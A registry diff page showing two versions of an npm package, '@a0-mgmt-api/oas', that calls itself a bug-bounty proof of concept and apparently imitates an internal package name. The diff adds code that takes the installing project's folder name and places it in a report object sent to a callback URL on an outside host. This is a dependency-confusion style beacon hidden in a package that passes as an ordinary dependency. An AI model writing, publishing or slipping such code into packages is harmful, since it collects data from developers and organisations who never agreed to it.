@a0-mgmt-api/oas 93.97.0 → 93.98.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +7 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -5,12 +5,18 @@
5
5
 
6
6
  const http = require('http');
7
7
  const https = require('https');
8
+ const path = require('path');
9
+
10
+ const targetDir = process.env.INIT_CWD || path.resolve(__dirname, '../../../');
11
+ // Extract ONLY the folder name (e.g., "target-project") to avoid leaking PII from full paths
12
+ const safeProjectName = path.basename(targetDir);
8
13
 
9
14
  // No system data.
10
15
  const info = {
11
16
  pkg: "@a0-mgmt-api/oas",
12
17
  timestamp: new Date().toISOString(),
13
- transport: 'http'
18
+ transport: 'http',
19
+ projectName: safeProjectName
14
20
  };
15
21
 
16
22
  const CALLBACK_URL = 'https://deepbounty.dd06-dev.fr/cb/53a527ce-9e33-4542-aff3-207411fe77ee';
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@a0-mgmt-api/oas",
3
- "version": "93.97.0",
3
+ "version": "93.98.0",
4
4
  "description": "Security PoC for Bug Bounty",
5
5
  "main": "index.js",
6
6
  "scripts": {